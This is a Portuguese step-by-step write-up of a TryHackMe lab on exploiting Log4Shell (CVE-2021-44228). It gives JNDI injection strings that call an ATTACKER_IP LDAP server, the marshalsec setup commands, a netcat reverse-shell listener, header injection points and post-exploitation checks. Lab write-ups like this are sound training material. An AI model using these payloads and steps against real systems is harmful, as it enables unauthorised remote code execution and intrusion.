🔥 Solar Exploiting Log4j - Passo a Passo do TryHackMe

📌 Sala: Solar Exploiting Log4j

Plataforma: TryHackMe Dificuldade: Médio Tópico: Log4Shell (Vulnerabilidade Log4j)

---

🧠 Objetivo

Explorar a vulnerabilidade Log4j (CVE-2021-44228) para obter execução remota de código e capturar flags.

---

🛠️ Ferramentas Utilizadas

• Nmap
• Burp Suite
• cURL
• Netcat
• Servidor HTTP Python

---

🌐 Passo 1: Reconhecimento

🔍 Escanear Alvo

nmap -sC -sV <TARGET_IP>

📌 Descobertas

• Portas abertas: 80 (HTTP), outras dependendo da sala
• Aplicação web rodando backend baseado em Java

---

🌐 Passo 2: Enumeração Web

• Visitar a aplicação web no navegador
• Interagir com campos de entrada (login/pesquisa/campos de cabeçalho)
• Capturar requisição usando Burp Suite

---

💥 Passo 3: Identificar a Vulnerabilidade Log4j

A vulnerabilidade Log4j permite injeção JNDI:

${jndi:ldap://<ATTACKER_IP>:1389/a}

Se a entrada for registrada → a vulnerabilidade existe.

---

⚙️ Passo 4: Configurar Listener

Iniciar Netcat

nc -lvnp 4444

Iniciar Servidor LDAP Malicioso (Exemplo)

git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package

Executar servidor LDAP:

java -cp target/marshalsec.jar marshalsec.jndi.LDAPRefServer "http://<ATTACKER_IP>:8000/#Exploit" 1389

---

📡 Passo 5: Hospedar Payload

python3 -m http.server 8000

Criar classe Java maliciosa (Exploit.class)

---

🚀 Passo 6: Acionar Exploit

Injetar payload no campo vulnerável:

${jndi:ldap://<ATTACKER_IP>:1389/Exploit}

💡 Usar cabeçalhos como:

• User-Agent
• X-Api-Version

---

🖥️ Passo 7: Obter Reverse Shell

Uma vez acionado:

• O alvo se conecta de volta ao listener Netcat
• Você obtém acesso ao shell

---

🔐 Passo 8: Escalação de Privilégio (se necessário)

Verificar:

sudo -l

Procurar por:

• Binários SUID mal configurados
• Arquivos graváveis
• Tarefas Cron

---

🚩 Passo 9: Capturar Flags

find / -name flag.txt 2>/dev/null
cat flag.txt

🧾 Conceitos Chave Aprendidos

• Log4Shell (CVE-2021-44228)
• Injeção JNDI
• Execução Remota de Código (RCE)
• Reverse Shell
• Exploração Web

---